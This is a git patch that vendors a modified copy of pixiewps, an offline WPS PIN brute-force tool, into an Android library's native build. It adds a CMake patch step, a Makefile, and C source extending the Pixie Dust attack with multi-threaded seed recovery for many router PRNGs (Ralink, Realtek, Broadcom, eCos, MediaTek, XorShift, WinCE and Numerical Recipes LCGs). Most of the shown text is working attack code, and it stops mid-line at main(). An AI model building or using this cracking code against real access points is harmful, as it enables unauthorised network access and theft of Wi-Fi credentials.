From 19b740d34b4031f9a7ac56a7bd57bf0d44e8fcc4 Mon Sep 17 00:00:00 2001 From: Alessandro Sangiorgi Date: Fri, 13 Mar 2026 14:17:17 -0500 Subject: [PATCH 1/5] Update `pixiewps` build process to apply custom patches during the NDK build. * Modify `CMakeLists.txt` to include a `PATCH_COMMAND` that overwrites the `pixiewps` source files (`pixiewps.c`, `pixiewps.h`, and `Makefile`) with local versions before building. * Add patched `pixiewps.c` and `pixiewps.h` featuring updated PRNG implementations, including support for Broadcom, MediaTek MT76xx, XorShift32, and Windows CE LCG. * Update the `pixiewps` command-line interface and internal logic to support new cracking modes and multi-threaded seed searching for expanded chipset compatibility. * Include a custom `Makefile` for the native component to ensure compatibility with the project's build environment. --- lib/src/main/cpp/CMakeLists.txt | 10 + lib/src/main/cpp/pixiewps/patches/Makefile | 67 + lib/src/main/cpp/pixiewps/patches/pixiewps.c | 2247 ++++++++++++++++++ lib/src/main/cpp/pixiewps/patches/pixiewps.h | 319 +++ 4 files changed, 2643 insertions(+) create mode 100644 lib/src/main/cpp/pixiewps/patches/Makefile create mode 100644 lib/src/main/cpp/pixiewps/patches/pixiewps.c create mode 100644 lib/src/main/cpp/pixiewps/patches/pixiewps.h diff --git a/lib/src/main/cpp/CMakeLists.txt b/lib/src/main/cpp/CMakeLists.txt index f7437a6..764c52c 100644 --- a/lib/src/main/cpp/CMakeLists.txt +++ b/lib/src/main/cpp/CMakeLists.txt @@ -244,6 +244,16 @@ ExternalProject_Add(pixiewps_external GIT_REPOSITORY "https://github.com/wiire-a/pixiewps.git" GIT_TAG "master" SOURCE_DIR "${PIXIEWPS_SOURCE_DIR}" + PATCH_COMMAND + ${CMAKE_COMMAND} -E copy + ${CMAKE_CURRENT_SOURCE_DIR}/pixiewps/patches/pixiewps.c + ${PIXIEWPS_SOURCE_DIR}/src/pixiewps.c + COMMAND ${CMAKE_COMMAND} -E copy + ${CMAKE_CURRENT_SOURCE_DIR}/pixiewps/patches/pixiewps.h + ${PIXIEWPS_SOURCE_DIR}/src/pixiewps.h + COMMAND ${CMAKE_COMMAND} -E copy + ${CMAKE_CURRENT_SOURCE_DIR}/pixiewps/patches/Makefile + ${PIXIEWPS_SOURCE_DIR}/Makefile CONFIGURE_COMMAND "" BUILD_COMMAND ${CMAKE_COMMAND} -E env diff --git a/lib/src/main/cpp/pixiewps/patches/Makefile b/lib/src/main/cpp/pixiewps/patches/Makefile new file mode 100644 index 0000000..2b49b5f --- /dev/null +++ b/lib/src/main/cpp/pixiewps/patches/Makefile @@ -0,0 +1,67 @@ +CFLAGS = -O3 + +ifeq ($(NATIVE),1) +CFLAGS += -march=native +endif + +PREFIX ?= /usr/local +BINDIR = $(PREFIX)/bin +MANDIR = $(PREFIX)/share/man + +SRCDIR = src +HDRS = $(SRCDIR)/config.h $(SRCDIR)/endianness.h $(SRCDIR)/version.h +HDRS += $(SRCDIR)/pixiewps.h $(SRCDIR)/utils.h $(SRCDIR)/wps.h + +# Internal flags so one can safely override CFLAGS, CPPFLAGS and LDFLAGS +INTFLAGS = -std=c99 -I $(SRCDIR)/crypto/tc +LIBS = -lpthread + +ifeq ($(OPENSSL),1) +LIBS += -lcrypto +INTFLAGS += -DUSE_OPENSSL +endif + +TARGET = pixiewps + +include $(SRCDIR)/crypto/tfm/sources.mak +TFMSRC = $(patsubst ./%,$(SRCDIR)/crypto/tfm/%,$(TFM_SRCS)) +TFMOBJS = $(TFMSRC:.c=.o) +TC_SRCS = ./aes_cbc.c ./aes.c +TCSRC = $(patsubst ./%,$(SRCDIR)/crypto/tc/%,$(TC_SRCS)) +TCOBJS = $(TCSRC:.c=.o) + +SOURCE = $(SRCDIR)/pixiewps.c + +-include config.mak + +.PHONY: all install install-bin install-man strip clean + +all: $(TARGET) pixiewrapper + +pixiewrapper: $(SRCDIR)/pixiewrapper.o + $(CC) $(CPPFLAGS) $(CFLAGS) $(LDFLAGS) -o $@ $< + +$(TARGET): $(SOURCE) $(HDRS) $(TFMOBJS) $(TCOBJS) + $(CC) $(INTFLAGS) $(CFLAGS) $(CPPFLAGS) -o $(TARGET) $(SOURCE) $(LIBS) $(LDFLAGS) $(TFMOBJS) $(TCOBJS) + +$(SRCDIR)/crypto/tfm/%.o: $(SRCDIR)/crypto/tfm/%.c + $(CC) $(CFLAGS) $(CPPFLAGS) -I$(SRCDIR)/crypto/tfm -c -o $@ $< + +$(SRCDIR)/crypto/tc/%.o: $(SRCDIR)/crypto/tc/%.c + $(CC) $(CFLAGS) $(CPPFLAGS) -I$(SRCDIR)/crypto/tc -c -o $@ $< + +install: install-bin install-man + +install-bin: $(TARGET) + install -d $(DESTDIR)$(BINDIR) + install -m 755 $< $(DESTDIR)$(BINDIR) + +install-man: pixiewps.1 + install -d $(DESTDIR)$(MANDIR)/man1 + install -m 644 $< $(DESTDIR)$(MANDIR)/man1 + +strip: $(TARGET) + strip $(TARGET) + +clean: + rm -f $(TARGET) $(TFMOBJS) $(TCOBJS) diff --git a/lib/src/main/cpp/pixiewps/patches/pixiewps.c b/lib/src/main/cpp/pixiewps/patches/pixiewps.c new file mode 100644 index 0000000..4eb81d9 --- /dev/null +++ b/lib/src/main/cpp/pixiewps/patches/pixiewps.c @@ -0,0 +1,2247 @@ +/* + * pixiewps: offline WPS brute-force utility that exploits low entropy PRNGs + * + * Copyright (c) 2015-2017, wiire + * SPDX-License-Identifier: GPL-3.0+ + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#define _POSIX_C_SOURCE 200809L +#define _XOPEN_SOURCE 700 + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#if defined(_WIN32) || defined(__WIN32__) +# include +#endif + +#ifdef __APPLE__ +# define _DARWIN_C_SOURCE +#endif +#include +#include +#if defined(__APPLE__) || defined(__FreeBSD__) +# include +#endif + +#include "config.h" +#include "pixiewps.h" +#include "crypto/crypto_internal-modexp.c" +#include "crypto/hmac_sha256.c" +#include "crypto/tc/aes_cbc.h" +#include "random/glibc_random_yura.c" +#include "utils.h" +#include "wps.h" +#include "version.h" + +static uint32_t ecos_rand_simplest(uint32_t *seed); +static uint32_t ecos_rand_simple(uint32_t *seed); +static uint32_t ecos_rand_knuth(uint32_t *seed); +static inline uint32_t broadcom_rand(uint32_t *seed); +static inline uint32_t xorshift32_rand(uint32_t *seed); +static inline uint8_t wince_lcg_rand(uint32_t *seed); +static inline uint8_t numrecipes_lcg_rand(uint32_t *seed); + +static int crack_first_half(struct global *wps, char *pin, const uint8_t *es1_override); +static int crack_second_half(struct global *wps, char *pin); +static int crack(struct global *wps, char *pin); + +static const char *option_string = "e:r:s:z:a:n:m:b:o:v:j:5:7:SflVh?"; +static const struct option long_options[] = { + { "pke", required_argument, 0, 'e' }, + { "pkr", required_argument, 0, 'r' }, + { "e-hash1", required_argument, 0, 's' }, + { "e-hash2", required_argument, 0, 'z' }, + { "authkey", required_argument, 0, 'a' }, + { "e-nonce", required_argument, 0, 'n' }, + { "r-nonce", required_argument, 0, 'm' }, + { "e-bssid", required_argument, 0, 'b' }, + { "output", required_argument, 0, 'o' }, + { "verbosity", required_argument, 0, 'v' }, + { "jobs", required_argument, 0, 'j' }, + { "dh-small", no_argument, 0, 'S' }, + { "force", no_argument, 0, 'f' }, + { "length", no_argument, 0, 'l' }, + { "version", no_argument, 0, 'V' }, + { "help", no_argument, 0, 0 }, + { "mode", required_argument, 0, 1 }, + { "start", required_argument, 0, 2 }, + { "end", required_argument, 0, 3 }, + { "cstart", required_argument, 0, 4 }, + { "cend", required_argument, 0, 5 }, + { "m5-enc", required_argument, 0, '5' }, + { "m7-enc", required_argument, 0, '7' }, + { 0, no_argument, 0, 'h' }, + { 0, 0, 0, 0 } +}; + +#define SEEDS_PER_JOB_BLOCK 1000 + +struct crack_job { + pthread_t thr; + uint32_t start; +}; + +/* Zero memory in a way that won't be optimized away by the compiler */ +static void secure_zero(void *p, size_t n) +{ + volatile unsigned char *vp = (volatile unsigned char *)p; + while (n--) + *vp++ = 0; +} + +/* Centralized cleanup: zero sensitive key material then free all fields */ +static void wps_free(struct global *wps) +{ + if (!wps) + return; + + if (wps->authkey) { secure_zero(wps->authkey, WPS_AUTHKEY_LEN); free(wps->authkey); } + if (wps->psk1) { secure_zero(wps->psk1, WPS_HASH_LEN); free(wps->psk1); } + if (wps->psk2) { secure_zero(wps->psk2, WPS_HASH_LEN); free(wps->psk2); } + if (wps->empty_psk) { secure_zero(wps->empty_psk, WPS_HASH_LEN); free(wps->empty_psk); } + if (wps->e_s1) { secure_zero(wps->e_s1, WPS_SECRET_NONCE_LEN); free(wps->e_s1); } + if (wps->e_s2) { secure_zero(wps->e_s2, WPS_SECRET_NONCE_LEN); free(wps->e_s2); } + if (wps->dhkey) { secure_zero(wps->dhkey, WPS_HASH_LEN); free(wps->dhkey); } + if (wps->kdk) { secure_zero(wps->kdk, WPS_HASH_LEN); free(wps->kdk); } + if (wps->wrapkey) { secure_zero(wps->wrapkey, WPS_KEYWRAPKEY_LEN); free(wps->wrapkey); } + if (wps->emsk) { secure_zero(wps->emsk, WPS_EMSK_LEN); free(wps->emsk); } + + free(wps->pke); + free(wps->pkr); + free(wps->e_hash1); + free(wps->e_hash2); + free(wps->e_nonce); + free(wps->r_nonce); + free(wps->e_bssid); + if (wps->e_key) { secure_zero(wps->e_key, WPS_PKEY_LEN); free(wps->e_key); } + free(wps->m5_encr); + free(wps->m7_encr); + free(wps->error); + free(wps->warning); + + secure_zero(wps->pin, sizeof(wps->pin)); + free(wps); +} + +static struct job_control { + int jobs; + int mode; + uint32_t end; + uint32_t randr_enonce[4]; + struct global *wps; + struct crack_job *crack_jobs; + volatile uint32_t nonce_seed; + volatile int nonce_found; /* 1 when seed found (disambiguates seed value 0) */ +} job_control; + +static void crack_thread_rtl(struct crack_job *j) +{ + uint32_t seed = j->start; + uint32_t limit = job_control.end; + uint32_t tmp[4]; + + while (!job_control.nonce_found) { + if (glibc_fast_seed(seed) == job_control.randr_enonce[0]) { + if (!memcmp(glibc_fast_nonce(seed, tmp), job_control.randr_enonce, WPS_NONCE_LEN)) { + job_control.nonce_seed = seed; + job_control.nonce_found = 1; + DEBUG_PRINT("Seed found (%10u)", seed); + } + } + + if (seed == 0) break; + + seed--; + + if (seed < j->start - SEEDS_PER_JOB_BLOCK) { + int64_t tmp = (int64_t)j->start - SEEDS_PER_JOB_BLOCK * job_control.jobs; + if (tmp < 0) break; + j->start = tmp; + seed = j->start; + if (seed < limit) break; + } + } +} + +struct ralink_randstate { + uint32_t sreg; +}; + +static unsigned char ralink_randbyte(struct ralink_randstate *state) +{ + unsigned char r = 0; + for (int i = 0; i < 8; i++) { +#if defined(__mips__) || defined(__mips) + const uint32_t lsb_mask = -(state->sreg & 1); + state->sreg ^= lsb_mask & 0x80000057; + state->sreg >>= 1; + state->sreg |= lsb_mask & 0x80000000; + r = (r << 1) | (lsb_mask & 1); +#else + unsigned char result; + if (state->sreg & 0x00000001) { + state->sreg = ((state->sreg ^ 0x80000057) >> 1) | 0x80000000; + result = 1; + } + else { + state->sreg = state->sreg >> 1; + result = 0; + } + r = (r << 1) | result; +#endif + } + return r; +} + +static void ralink_randstate_restore(struct ralink_randstate *state, uint8_t r) +{ + for (int i = 0; i < 8; i++) { + const unsigned char result = r & 1; + r = r >> 1; + if (result) { + state->sreg = (((state->sreg) << 1) ^ 0x80000057) | 0x00000001; + } + else { + state->sreg = state->sreg << 1; + } + } +} + +static unsigned char ralink_randbyte_backwards(struct ralink_randstate *state) +{ + unsigned char r = 0; + for (int i = 0; i < 8; i++) { + unsigned char result; + if (state->sreg & 0x80000000) { + state->sreg = ((state->sreg << 1) ^ 0x80000057) | 0x00000001; + result = 1; + } + else { + state->sreg = state->sreg << 1; + result = 0; + } + r |= result << i; + } + return r; +} + +/* static void ralink_randbyte_backbytes(struct ralink_randstate *state, const int num_bytes) +{ + uint32_t lfsr = bit_revert(state->sreg); + int k = 8 * num_bytes; + while (k--) { + unsigned int lsb_mask = -(lfsr & 1); + lfsr ^= lsb_mask & 0xd4000003; + lfsr >>= 1; + lfsr |= lsb_mask & 0x80000000; + } + state->sreg = bit_revert(lfsr); +} */ + +/* + * MediaTek MT76xx LFSR - evolved from Ralink with different feedback polynomial. + * MT7620/MT7628 use polynomial 0x80000062 instead of Ralink's 0x80000057. + */ +struct mediatek_randstate { + uint32_t sreg; +}; + +static unsigned char mediatek_randbyte(struct mediatek_randstate *state) +{ + unsigned char r = 0; + for (int i = 0; i < 8; i++) { + unsigned char result; + if (state->sreg & 0x00000001) { + state->sreg = ((state->sreg ^ 0x80000062) >> 1) | 0x80000000; + result = 1; + } + else { + state->sreg = state->sreg >> 1; + result = 0; + } + r = (r << 1) | result; + } + return r; +} + +static void mediatek_randstate_restore(struct mediatek_randstate *state, uint8_t r) +{ + for (int i = 0; i < 8; i++) { + const unsigned char result = r & 1; + r = r >> 1; + if (result) { + state->sreg = (((state->sreg) << 1) ^ 0x80000062) | 0x00000001; + } + else { + state->sreg = state->sreg << 1; + } + } +} + +static unsigned char mediatek_randbyte_backwards(struct mediatek_randstate *state) +{ + unsigned char r = 0; + for (int i = 0; i < 8; i++) { + unsigned char result; + if (state->sreg & 0x80000000) { + state->sreg = ((state->sreg << 1) ^ 0x80000062) | 0x00000001; + result = 1; + } + else { + state->sreg = state->sreg << 1; + result = 0; + } + r |= result << i; + } + return r; +} + +static int crack_rt(uint32_t start, uint32_t end, uint32_t *result) +{ + uint32_t seed; + struct ralink_randstate prng; + unsigned char testnonce[16] = {0}; + unsigned char *search_nonce = (void *)job_control.randr_enonce; + + for (seed = start; seed < end; seed++) { + int i; + prng.sreg = seed; + testnonce[0] = ralink_randbyte(&prng); + if (testnonce[0] != search_nonce[0]) continue; + for (i = 1; i < 4; i++) testnonce[i] = ralink_randbyte(&prng); + if (memcmp(testnonce, search_nonce, 4)) continue; + for (i = 4; i < WPS_NONCE_LEN; i++) testnonce[i] = ralink_randbyte(&prng); + if (!memcmp(testnonce, search_nonce, WPS_NONCE_LEN)) { + *result = seed; + return 1; + } + } + return 0; +} + +static void crack_thread_rt(struct crack_job *j) +{ + uint32_t start = j->start, end; + uint32_t res; + + while (!job_control.nonce_found) { + uint64_t tmp = (uint64_t)start + (uint64_t)SEEDS_PER_JOB_BLOCK; + if (tmp > (uint64_t)job_control.end) tmp = job_control.end; + end = tmp; + + if (crack_rt(start, end, &res)) { + job_control.nonce_seed = res; + job_control.nonce_found = 1; + DEBUG_PRINT("Seed found (%10u)", (unsigned)res); + } + tmp = (uint64_t)start + (uint64_t)(SEEDS_PER_JOB_BLOCK * job_control.jobs); + if (tmp > (uint64_t)job_control.end) break; + start = tmp; + } +} + +/* + * Broadcom BCM43xx/WICED LCG - used in Broadcom-based WPS implementations. + * Multiplier 0x6C078965 (1812433253), increment 1. + * Nonce bytes extracted from low 8 bits of each LCG output. + */ +static inline uint32_t broadcom_rand(uint32_t *seed) +{ + *seed = (*seed) * 0x6C078965 + 1; + return *seed; +} + +static int crack_bcm(uint32_t start, uint32_t end, uint32_t *result) +{ + uint32_t index; + unsigned char *search_nonce = (void *)job_control.randr_enonce; + + for (index = start; index < end; index++) { + int i; + uint32_t seed = index; + if ((uint8_t)(broadcom_rand(&seed)) != search_nonce[0]) continue; + for (i = 1; i < 4; i++) { + if ((uint8_t)(broadcom_rand(&seed)) != search_nonce[i]) + break; + } + if (i < 4) continue; + for (i = 4; i < WPS_NONCE_LEN; i++) { + if ((uint8_t)(broadcom_rand(&seed)) != search_nonce[i]) + break; + } + if (i == WPS_NONCE_LEN) { + *result = index; + return 1; + } + } + return 0; +} + +static void crack_thread_bcm(struct crack_job *j) +{ + uint32_t start = j->start, end; + uint32_t res; + + while (!job_control.nonce_found) { + uint64_t tmp = (uint64_t)start + (uint64_t)SEEDS_PER_JOB_BLOCK; + if (tmp > (uint64_t)job_control.end) tmp = job_control.end; + end = tmp; + + if (crack_bcm(start, end, &res)) { + job_control.nonce_seed = res; + job_control.nonce_found = 1; + DEBUG_PRINT("Seed found (%10u)", (unsigned)res); + } + tmp = (uint64_t)start + (uint64_t)(SEEDS_PER_JOB_BLOCK * job_control.jobs); + if (tmp > (uint64_t)job_control.end) break; + start = tmp; + } +} + +/* + * Mersenne Twister MT19937 - full implementation. + * Used as alternative Broadcom mode (mode 8) where the 0x6C078965 constant + * is the MT initialization multiplier rather than a standalone LCG. + */ +#define MT_N 624 +#define MT_M 397 +#define MT_MATRIX_A 0x9908B0DFu +#define MT_UPPER_MASK 0x80000000u +#define MT_LOWER_MASK 0x7FFFFFFFu + +struct mt19937_state { + uint32_t mt[MT_N]; + int index; +}; + +static void mt19937_init(struct mt19937_state *s, uint32_t seed) +{ + s->mt[0] = seed; + for (int i = 1; i < MT_N; i++) + s->mt[i] = (0x6C078965u * (s->mt[i - 1] ^ (s->mt[i - 1] >> 30)) + (uint32_t)i); + s->index = MT_N; +} + +static void mt19937_twist(struct mt19937_state *s) +{ + for (int i = 0; i < MT_N; i++) { + uint32_t y = (s->mt[i] & MT_UPPER_MASK) | (s->mt[(i + 1) % MT_N] & MT_LOWER_MASK); + s->mt[i] = s->mt[(i + MT_M) % MT_N] ^ (y >> 1); + if (y & 1u) + s->mt[i] ^= MT_MATRIX_A; + } + s->index = 0; +} + +static inline uint32_t mt19937_extract(struct mt19937_state *s) +{ + if (s->index >= MT_N) + mt19937_twist(s); + uint32_t y = s->mt[s->index++]; + y ^= y >> 11; + y ^= (y << 7) & 0x9D2C5680u; + y ^= (y << 15) & 0xEFC60000u; + y ^= y >> 18; + return y; +} + +static int crack_bcm_mt(uint32_t start, uint32_t end, uint32_t *result) +{ + unsigned char *search_nonce = (void *)job_control.randr_enonce; + + for (uint32_t index = start; index < end; index++) { + struct mt19937_state mt; + mt19937_init(&mt, index); + int i; + if ((uint8_t)(mt19937_extract(&mt)) != search_nonce[0]) continue; + for (i = 1; i < 4; i++) { + if ((uint8_t)(mt19937_extract(&mt)) != search_nonce[i]) + break; + } + if (i < 4) continue; + for (i = 4; i < WPS_NONCE_LEN; i++) { + if ((uint8_t)(mt19937_extract(&mt)) != search_nonce[i]) + break; + } + if (i == WPS_NONCE_LEN) { + *result = index; + return 1; + } + } + return 0; +} + +static void crack_thread_bcm_mt(struct crack_job *j) +{ + uint32_t start = j->start, end; + uint32_t res; + + while (!job_control.nonce_found) { + uint64_t tmp = (uint64_t)start + (uint64_t)SEEDS_PER_JOB_BLOCK; + if (tmp > (uint64_t)job_control.end) tmp = job_control.end; + end = tmp; + + if (crack_bcm_mt(start, end, &res)) { + job_control.nonce_seed = res; + job_control.nonce_found = 1; + DEBUG_PRINT("Seed found (%10u)", (unsigned)res); + } + tmp = (uint64_t)start + (uint64_t)(SEEDS_PER_JOB_BLOCK * job_control.jobs); + if (tmp > (uint64_t)job_control.end) break; + start = tmp; + } +} + +/* + * XorShift32 (Marsaglia) - common in embedded firmware as fast random replacement. + * Period: 2^32 - 1. Seed must not be 0 (fixed point). + */ +static inline uint32_t xorshift32_rand(uint32_t *seed) +{ + uint32_t x = *seed; + x ^= x << 13; + x ^= x >> 17; + x ^= x << 5; + *seed = x; + return x; +} + +/* + * Windows CE / Embedded Compact LCG. + * Multiplier: 214013 (0x343FD), increment: 2531011 (0x269EC3). + * Output: (state >> 16) & 0xFF per byte. + */ +static inline uint8_t wince_lcg_rand(uint32_t *seed) +{ + *seed = (*seed) * 214013 + 2531011; + return (uint8_t)((*seed >> 16) & 0xFF); +} + +/* + * Numerical Recipes LCG. + * Multiplier: 1664525, increment: 1013904223. + * Output: low 8 bits of state per byte. + */ +static inline uint8_t numrecipes_lcg_rand(uint32_t *seed) +{ + *seed = (*seed) * 1664525 + 1013904223; + return (uint8_t)(*seed); +} + +/* + * Macro to generate threaded crack/thread function pairs for byte-oriented PRNGs. + * Each PRNG only differs in the rand call; the search and thread logic is identical. + */ +#define DEFINE_CRACK_FUNCS(name, rand_fn) \ +static int crack_##name(uint32_t start, uint32_t end, uint32_t *result) \ +{ \ + unsigned char *search_nonce = (void *)job_control.randr_enonce; \ + for (uint32_t index = start; index < end; index++) { \ + int i; \ + uint32_t seed = index; \ + if ((uint8_t)(rand_fn(&seed)) != search_nonce[0]) continue; \ + for (i = 1; i < 4; i++) { \ + if ((uint8_t)(rand_fn(&seed)) != search_nonce[i]) \ + break; \ + } \ + if (i < 4) continue; \ + for (i = 4; i < WPS_NONCE_LEN; i++) { \ + if ((uint8_t)(rand_fn(&seed)) != search_nonce[i]) \ + break; \ + } \ + if (i == WPS_NONCE_LEN) { \ + *result = index; \ + return 1; \ + } \ + } \ + return 0; \ +} \ +static void crack_thread_##name(struct crack_job *j) \ +{ \ + uint32_t start = j->start, end; \ + uint32_t res; \ + while (!job_control.nonce_found) { \ + uint64_t tmp = (uint64_t)start + (uint64_t)SEEDS_PER_JOB_BLOCK; \ + if (tmp > (uint64_t)job_control.end) tmp = job_control.end; \ + end = tmp; \ + if (crack_##name(start, end, &res)) { \ + job_control.nonce_seed = res; \ + job_control.nonce_found = 1; \ + DEBUG_PRINT("Seed found (%10u)", (unsigned)res); \ + } \ + tmp = (uint64_t)start + (uint64_t)(SEEDS_PER_JOB_BLOCK * job_control.jobs); \ + if (tmp > (uint64_t)job_control.end) break; \ + start = tmp; \ + } \ +} + +DEFINE_CRACK_FUNCS(ecos_simplest, ecos_rand_simplest) +DEFINE_CRACK_FUNCS(ecos_knuth, ecos_rand_knuth) +DEFINE_CRACK_FUNCS(xorshift, xorshift32_rand) +DEFINE_CRACK_FUNCS(wince, wince_lcg_rand) +DEFINE_CRACK_FUNCS(numrecipes, numrecipes_lcg_rand) + +static void crack_thread_rtl_es(struct crack_job *j); + +static void *crack_thread(void *arg) +{ + struct crack_job *j = arg; + + if (job_control.mode == RTL819x) + crack_thread_rtl(j); + else if (job_control.mode == RT) + crack_thread_rt(j); + else if (job_control.mode == -RTL819x) + crack_thread_rtl_es(j); + else if (job_control.mode == BROADCOM) + crack_thread_bcm(j); + else if (job_control.mode == BROADCOM_MT) + crack_thread_bcm_mt(j); + else if (job_control.mode == ECOS_SIMPLEST) + crack_thread_ecos_simplest(j); + else if (job_control.mode == ECOS_KNUTH) + crack_thread_ecos_knuth(j); + else if (job_control.mode == XORSHIFT32) + crack_thread_xorshift(j); + else if (job_control.mode == WINCE_LCG) + crack_thread_wince(j); + else if (job_control.mode == NUMRECIPES_LCG) + crack_thread_numrecipes(j); + else + assert(0); + + return 0; +} + +#if !defined(PTHREAD_STACK_MIN) || PTHREAD_STACK_MIN == 0 +static void setup_thread(int i) +{ + pthread_create(&job_control.crack_jobs[i].thr, 0, crack_thread, &job_control.crack_jobs[i]); +} +#else +static size_t getminstacksize(size_t minimum) +{ + return (minimum < PTHREAD_STACK_MIN) ? PTHREAD_STACK_MIN : minimum; +} + +static void setup_thread(int i) +{ + size_t stacksize = getminstacksize(64 * 1024); + pthread_attr_t attr; + int attr_ok = pthread_attr_init(&attr) == 0 ; + if (attr_ok) pthread_attr_setstacksize(&attr, stacksize); + pthread_create(&job_control.crack_jobs[i].thr, &attr, crack_thread, &job_control.crack_jobs[i]); + if (attr_ok) pthread_attr_destroy(&attr); +} +#endif + +static void init_crack_jobs(struct global *wps, int mode) +{ + job_control.wps = wps; + job_control.jobs = wps->jobs; + job_control.end = (mode == RTL819x) ? (uint32_t)wps->end : 0xffffffffu; + job_control.mode = mode; + job_control.nonce_seed = 0; + job_control.nonce_found = 0; + memset(job_control.randr_enonce, 0, sizeof(job_control.randr_enonce)); + + /* Convert Enrollee nonce to the sequence may be generated by current random function */ + int i, j = 0; + if (mode == -RTL819x) ; /* nuffin' */ + else if (mode == RTL819x) + for (i = 0; i < 4; i++) { + job_control.randr_enonce[i] |= wps->e_nonce[j++]; + job_control.randr_enonce[i] <<= 8; + job_control.randr_enonce[i] |= wps->e_nonce[j++]; + job_control.randr_enonce[i] <<= 8; + job_control.randr_enonce[i] |= wps->e_nonce[j++]; + job_control.randr_enonce[i] <<= 8; + job_control.randr_enonce[i] |= wps->e_nonce[j++]; + } + else + memcpy(job_control.randr_enonce, wps->e_nonce, WPS_NONCE_LEN); + + job_control.crack_jobs = malloc(wps->jobs * sizeof (struct crack_job)); + uint32_t curr = 0; + if (mode == RTL819x) curr = wps->start; + else if (mode == RT) curr = 1; /* Ralink LFSR jumps from 0 to 1 internally */ + else if (mode == XORSHIFT32) curr = 1; /* XorShift: seed 0 is a fixed point */ + int32_t add = (mode == RTL819x) ? -SEEDS_PER_JOB_BLOCK : SEEDS_PER_JOB_BLOCK; + for (i = 0; i < wps->jobs; i++) { + job_control.crack_jobs[i].start = (mode == -RTL819x) ? (uint32_t)i + 1 : curr; + setup_thread(i); + curr += add; + } +} + +static int collect_crack_jobs(uint32_t *out_seed) +{ + for (int i = 0; i < job_control.jobs; i++) { + void *ret; + pthread_join(job_control.crack_jobs[i].thr, &ret); + } + free(job_control.crack_jobs); + *out_seed = job_control.nonce_seed; + return job_control.nonce_found; +} + +unsigned int hardware_concurrency() +{ +#if defined(PTW32_VERSION) || defined(__hpux) + return pthread_num_processors_np(); +#elif defined(__APPLE__) || defined(__FreeBSD__) + int count; + size_t size = sizeof(count); + return sysctlbyname("hw.ncpu", &count, &size, NULL, 0) ? 0 : count; +#elif defined(_SC_NPROCESSORS_ONLN) /* unistd.h */ + int const count = sysconf(_SC_NPROCESSORS_ONLN); + return (count > 0) ? count : 0; +#elif defined(__GLIBC__) + return get_nprocs(); +#elif defined(_WIN32) || defined(__WIN32__) + SYSTEM_INFO sysinfo; + GetSystemInfo(&sysinfo); + return sysinfo.dwNumberOfProcessors; +#else + return 0; +#endif +} + +static void rtl_nonce_fill(uint8_t *nonce, uint32_t seed) +{ + uint8_t *ptr = nonce; + uint32_t word0 = 0, word1 = 0, word2 = 0, word3 = 0; + + for (int j = 0; j < 31; j++) { + word0 += seed * glibc_seed_tbl[j + 3]; + word1 += seed * glibc_seed_tbl[j + 2]; + word2 += seed * glibc_seed_tbl[j + 1]; + word3 += seed * glibc_seed_tbl[j + 0]; + + /* This does: seed = (16807LL * seed) % 0x7fffffff + using the sum of digits method which works for mod N, base N+1 */ + const uint64_t p = 16807ULL * seed; /* Seed is always positive (31 bits) */ + seed = (p >> 31) + (p & 0x7fffffff); + } + + uint32_t be; + be = end_htobe32(word0 >> 1); memcpy(ptr, &be, sizeof be); + be = end_htobe32(word1 >> 1); memcpy(ptr + 4, &be, sizeof be); + be = end_htobe32(word2 >> 1); memcpy(ptr + 8, &be, sizeof be); + be = end_htobe32(word3 >> 1); memcpy(ptr + 12, &be, sizeof be); +} + +static int find_rtl_es1(struct global *wps, char *pin, uint8_t *nonce_buf, uint32_t seed) +{ + rtl_nonce_fill(nonce_buf, seed); + + return crack_first_half(wps, pin, nonce_buf); +} + + +static void crack_thread_rtl_es(struct crack_job *j) +{ + int thread_id = j->start; + uint8_t nonce_buf[WPS_SECRET_NONCE_LEN]; + char pin[WPS_PIN_LEN + 1]; + int dist, max_dist = (MODE3_TRIES + 1); + + for (dist = thread_id; !job_control.nonce_found && dist < max_dist; dist += job_control.jobs) { + if (find_rtl_es1(job_control.wps, pin, nonce_buf, job_control.wps->nonce_seed + dist)) { + job_control.nonce_seed = job_control.wps->nonce_seed + dist; + job_control.nonce_found = 1; + memcpy(job_control.wps->e_s1, nonce_buf, sizeof nonce_buf); + memcpy(job_control.wps->pin, pin, sizeof pin); + } + + if (job_control.nonce_found) + break; + + if (find_rtl_es1(job_control.wps, pin, nonce_buf, job_control.wps->nonce_seed - dist)) { + job_control.nonce_seed = job_control.wps->nonce_seed - dist; + job_control.nonce_found = 1; + memcpy(job_control.wps->e_s1, nonce_buf, sizeof nonce_buf); + memcpy(job_control.wps->pin, pin, sizeof pin); + } + } +} + +static int find_rtl_es(struct global *wps) +{ + + init_crack_jobs(wps, -RTL819x); + + /* Check distance 0 in the main thread, as it is the most likely */ + uint8_t nonce_buf[WPS_SECRET_NONCE_LEN]; + char pin[WPS_PIN_LEN + 1]; + + if (find_rtl_es1(wps, pin, nonce_buf, wps->nonce_seed)) { + job_control.nonce_seed = wps->nonce_seed; + memcpy(wps->e_s1, nonce_buf, sizeof nonce_buf); + memcpy(wps->pin, pin, sizeof pin); + } + + { + uint32_t dummy; + collect_crack_jobs(&dummy); + } + + if (job_control.nonce_found) { + DEBUG_PRINT("First pin half found (%4s)", wps->pin); + wps->s1_seed = job_control.nonce_seed; + char pin_copy[WPS_PIN_LEN + 1]; + strcpy(pin_copy, wps->pin); + int j; + /* We assume that the seed used for es2 is within a range of 10 seconds + forwards in time only */ + for (j = 0; j < 10; j++) { + strcpy(wps->pin, pin_copy); + rtl_nonce_fill(wps->e_s2, wps->s1_seed + j); + DEBUG_PRINT("Trying (%10u) with E-S2: ", wps->s1_seed + j); + DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); + if (crack_second_half(wps, wps->pin)) { + wps->s2_seed = wps->s1_seed + j; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + return RTL819x; + } + } + } + return NONE; +} + +static void empty_pin_hmac(struct global *wps) +{ + /* Since the empty pin psk is static once initialized, we calculate it only once */ + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, NULL, 0, wps->empty_psk); +} + +static char* format_time(time_t t, char* buf30) +{ + struct tm ts; + strftime(buf30, 30, "%c", gmtime_r(&t, &ts)); + return buf30; +} + +int main(int argc, char 